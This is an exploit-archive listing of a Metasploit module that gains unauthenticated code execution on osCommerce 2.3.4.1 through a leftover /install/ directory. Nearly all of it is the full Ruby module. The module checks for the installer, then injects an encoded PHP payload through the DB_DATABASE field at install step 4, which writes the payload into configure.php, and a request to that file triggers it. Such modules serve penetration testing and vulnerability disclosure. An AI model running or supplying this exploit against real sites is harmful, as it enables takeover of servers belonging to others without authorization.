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osCommerce Installer Unauthenticated Code Execution

osCommerce Installer Unauthenticated Code Execution
Posted May 3, 2018
Authored by Daniel Teixeira, Simon Scannell | Site metasploit.com

If the /install/ directory was not removed, it is possible for an unauthenticated attacker to run the "install_4.php" script, which will create the configuration file for the installation. This allows the attacker to inject PHP code into the configuration file and execute it.

tags | exploit, php
MD5 | 87ed86a0d1878037791e43a36f9d7694

osCommerce Installer Unauthenticated Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'osCommerce Installer Unauthenticated Code Execution',
'Description' => %q{
If the /install/ directory was not removed, it is possible for an unauthenticated
attacker to run the "install_4.php" script, which will create the configuration
file for the installation. This allows the attacker to inject PHP code into the
configuration file and execute it.
},
'Author' => [
'Simon Scannell', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '44374'],
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'osCommerce 2.3.4.1', { } ],
],
'DisclosureDate' => 'Apr 30 2018',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'install.php'),
'method' => 'GET'
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.code == 200 && res.body.include?('osCommerce Website')
return CheckCode::Safe
end

res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'index.php'),
'method' => 'GET'
})

if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
vprint_error 'configure.php is not writable'
return CheckCode::Safe
end

CheckCode::Appears
end

def trigger
send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'includes/configure.php'),
'method' => 'GET'
})
end

def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

data = {
'DIR_FS_DOCUMENT_ROOT' => './',
'DB_DATABASE' => "');#{payload.encoded}/*"
}

res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'install.php?step=4'),
'method' => 'POST',
'vars_post' => data
})
trigger
end
end

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